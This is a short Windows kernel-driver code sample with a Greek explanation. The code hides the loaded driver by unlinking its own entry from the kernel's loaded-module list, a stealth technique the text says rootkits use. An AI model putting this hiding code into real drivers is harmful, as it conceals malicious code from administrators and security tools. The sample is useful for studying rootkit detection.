#include typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ​ // καλείται απο το σύστημα όταν ο οδηγός φορτωθεί στον πυρήνα NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { PLDR_DATA_TABLE_ENTRY PrevEntry,ModuleEntry,NextEntry; DbgPrint("DriverSection address: %#x",pDriverObject->DriverSection); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; ​ PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Blink; NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Flink; ​ // αφαίρεση του κόμβου από την διπλά-συνδεδεμένη λίστα ​ PrevEntry->InLoadOrderLinks.Flink=ModuleEntry->InLoadOrderLinks.Flink; NextEntry->InLoadOrderLinks.Blink=ModuleEntry->InLoadOrderLinks.Blink; ModuleEntry->InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry; ModuleEntry->InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry; DbgPrint("Hidden driver loaded at address %#x",ModuleEntry->DllBase); return STATUS_SUCCESS; } ​ --- ​ Ο πιο πάνω κώδικας αφαιρεί τον εαυτό του απο τη συνδεδεμένη λίστα από τους οδηγούς (drivers) που έχουν φορτωθεί στον πυρήνα του συστήματος. Όταν ένας οδηγός φορτώνεται, το σύστημα δίνει τη διεύθυνση της δομής που αντιπροσωπεύει τον οδηγό (DRIVER_OBJECT) - ως παράμετρο, στη ρουτίνα DriverEntry. To μέλος DriverSection της δομής DRIVER_OBJECT, δείχνει στη δομή LDR_DATA_TABLE_ENTRY - η οποιά περιέχει πληροφορίες σχετικά με τον οδηγό που έχει φορτωθεί στον πυρήνα (διέυθυνση βάσης, σημεία εισόδου - ρουτίνες αλληλεπιδρασης με τον οδηγό, κ.α) ​ Όταν το σύστημα απαριθμεί τους οδηγούς που έχουν φορτωθεί στη μνήμη, ξεκινά την "αναζήτηση" τους από τη δομή PsLoadedModuleList ("κεφαλή" λίστας που περιέχει πληροφορίες για όλους τους οδηγούς που έχουν φορτωθεί στον πυρήνα), η οποία περιέχει συνδέσμους σε άλλες εγγραφές. Αφαιρώντας τους συνδέσμους του οδηγού μας από τις υπόλοιπες εγγραφές, το σύστημα δεν θα μπορέσει να βρεί τον οδηγό στην διαδικασία της απαρίθμησης. ​ Η παραπάνω τεχνική χρησιμοποιείται συχνά απο rootkits (λογισμικό που επιτρέπει την συνεχή πρόσβαση σε έναν υπολογιστή με προνόμια υπερχρήστη) που τρέχουν σε χώρο πυρήνα.